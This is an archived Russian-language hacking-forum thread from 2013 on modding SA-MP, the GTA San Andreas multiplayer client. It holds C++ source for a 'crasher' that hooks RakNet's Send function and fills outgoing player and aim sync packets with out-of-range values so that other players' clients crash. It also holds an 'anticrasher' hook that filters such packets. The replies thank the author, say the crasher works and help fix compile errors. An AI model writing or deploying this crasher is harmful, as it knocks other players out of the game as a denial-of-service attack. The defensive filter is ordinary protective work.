ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.io/forumdisplay.php?f=24)
-   -   mod_sa 4.3.3.0+: Crasher & Anticrasher source (https://forum.antichat.io/showthread.php?t=1301754)

FYP 20.07.2013 12:12

данный крашер работает только с хуком ракнета из собейта версии не ниже 4.3.3.0, но без хука можно обойтись, добавив самостоятельно отправку пакета, вместо подменны данных в пакете.

код крашера:

Код:





Код:

void CheatReplaceOnfootData ( struct stOnFootData *ofSync )
{
    if ( g.use_new_crasher )
    {
        ofSync->sKeys = 128;
        ofSync->byteCurrentWeapon = 0;
    }
}
 
void CheatReplaceAimData ( struct stAimData *aimSync )
{
if ( g.use_new_crasher )
{
    aimSync->vecAimf1[0] = (float)0x7FFFFFFF;
    aimSync->vecAimPos[0] = (float)0x7FFFFFFF;
}
}
 
// в HookedRakClient.cpp в функцию bool Send( BitStream * bitStream, PacketPriority priority, PacketReliability reliability, char orderingChannel )
if ( packetId == ID_PLAYER_SYNC )
CheatReplaceOnfootData( (stOnFootData *)( bitStream->GetData() + 1 ) );
if ( packetId == ID_AIM_SYNC )
CheatReplaceAimData( (stAimData *)( bitStream->GetData() + 1 ) );





код антикрашера:

Код:





Код:

// в samp.cpp
#define FUNC_PACKET_AIM_SYNC 0x87A0
void __stdcall HookPacketAimData( Packet *packet )
{
BitStream bs( (unsigned char *)packet->data, packet->length, false );
PLAYERID playerId;
stAimData sync;
 
bs.IgnoreBits( 8 ); // packet id
bs.Read( playerId );
bs.Read( (char *)&sync, sizeof( sync ) );
bool isUse = false;
float pos[3] = { 0, 0, 0 };
int isok = getPlayerPos( playerId, pos );
 
if ( isok && vect3_dist( pos, sync.vecAimPos ) > 500.0f )
{
vect3_mult( sync.vecAimPos, 0.0f, sync.vecAimPos );
isUse = true;
}
for ( int i = 0; i  9.9f )
{
sync.vecAimf1[i] = 0.0f;
isUse = true;
}
}
if ( isUse )
{
BitStream bs1;
bs1.Write( (byte)ID_AIM_SYNC );
bs1.Write( playerId );
bs1.Write( (char *)&sync, sizeof( sync ) );
memcpy( packet->data, bs1.GetData(), packet->length );
}
return ( ( void ( __thiscall * )( stSAMP *, Packet * ) )( g_dwSAMP_Addr + FUNC_PACKET_AIM_SYNC ) )( g_SAMP, packet );
}
#define SAMP_HOOKENTER_PACKET_AIM_DATA            0x9EB5 // куда-нибудь в samp.cpp
SetupSAMPHook("Packet_AimSync", SAMP_HOOKENTER_PACKET_AIM_DATA, HookPacketAimData, DETOUR_TYPE_CALL_FUNC, 5, ""); // в void installSAMPHooks ()



просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.

с вами был FYP, спасибо за внимание.

EvgeN 1137 20.07.2013 12:26

первый нах, азаза

зачёт

im0rg 20.07.2013 12:27

Цитата:

Сообщение от EvgeN 1137

первый нах, азаза
зачёт


Я первый посмотрел тему за то

fondamentolok 20.07.2013 13:40

Первый раз вижу такой крешер он на многих северах профикшен?

FYP 20.07.2013 13:51

Цитата:

Сообщение от fondamentolok

Первый раз вижу такой крешер он на многих северах профикшен?

скоро будет - да.

Skel 20.07.2013 14:05

Половина людей не сможет его вшить(лично мое мнение) :D

fondamentolok 20.07.2013 14:40

Fyp это тот што с кулака?

fondamentolok 20.07.2013 14:52

Цитата:

Сообщение от mgmoldova

ofSync->sKeys = 128;
ofSync->byteCurrentWeapon = 0;


я уже увидел )

он на исходнике голубя будет работать?

fondamentolok 20.07.2013 14:55

только 2 дня назад мне его слили и теперь он в паблике обидно(

Skel 20.07.2013 15:03

Цитата:

Сообщение от fondamentolok

только 2 дня назад мне его слили и теперь он в паблике обидно(


Ярослав Прожект,ето тебе его слил

fondamentolok 20.07.2013 15:04

мне исходник в руки не попал токо соб с таким крешером)

BaHeK 20.07.2013 15:53

норм работает:D спс FYP

MasterCard 21.07.2013 13:07

Лайк работает

Фипа как всегда отлично :buba_phone:

fondamentolok 21.07.2013 13:35

Цитата:

Сообщение от MasterCard

Лайк работает
Фипа как всегда отлично :buba_phone:

Ты просто скопировал и вставил?

im0rg 21.07.2013 13:42

Цитата:

Сообщение от fondamentolok

Ты просто скопировал и вставил?


Фип написал все очень сложно (проще для него) можно и проще написать.

fondamentolok 21.07.2013 14:24

я имею ввиду если тупо скопировать и вставить работать будет или нужно ище дописывать что то

Skel 21.07.2013 17:16

Цитата:

Сообщение от fondamentolok

я имею ввиду если тупо скопировать и вставить работать будет или нужно ище дописывать что то


просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.

с вами был FYP, спасибо за внимание.

povargek 21.07.2013 17:31

сделал бы плагин - антикраш, а то не одно МП нормально провести не могу:help:

Maddy 21.07.2013 18:52

делал что то похожее, соображал над антилагером на рпс хуке, правда не получилось, спасибо за пример

dimoz 21.07.2013 21:32

Цитата:

Сообщение от FYP

PLAYERID playerId;


Из-за этого скомпилить не дает :(

Пробовал корректировать, но игра крешила

FYP 22.07.2013 14:31

Цитата:

Сообщение от Dimoz

Из-за этого скомпилить не дает :(
Пробовал корректировать, но игра крешила

замени PLAYERID на uint16_t.

dimoz 22.07.2013 14:55

Цитата:

Сообщение от FYP

замени PLAYERID на uint16_t.


Скомпилировать удалось, но игра по-прежнему крешится

MasterCard 22.07.2013 22:38

Цитата:

Сообщение от fondamentolok

Ты просто скопировал и вставил?


Нет, немного изучил код

FYP 23.07.2013 16:43

чуть-чуть подправил код антикрашера, теперь крашить не будет.

BaHeK 23.07.2013 17:44

Цитата:

Сообщение от FYP

чуть-чуть подправил код антикрашера, теперь крашить не будет.


да я етот краш сам убрал:D

kaZax 23.07.2013 18:00

Блогадарю

BaHeK 23.07.2013 19:21

спс работает тыпер хоть крашыть не будут:)

[JoNicK] 22.08.2013 20:10

Благодарю!

Active[X] 22.08.2013 21:49

Это просто хорошая ошибка

UnknownPlayer 24.08.2013 20:26

Спасибо!

[Re]Ak[T0R] 09.01.2014 16:06

Спасибо, фип.


Время: 16:51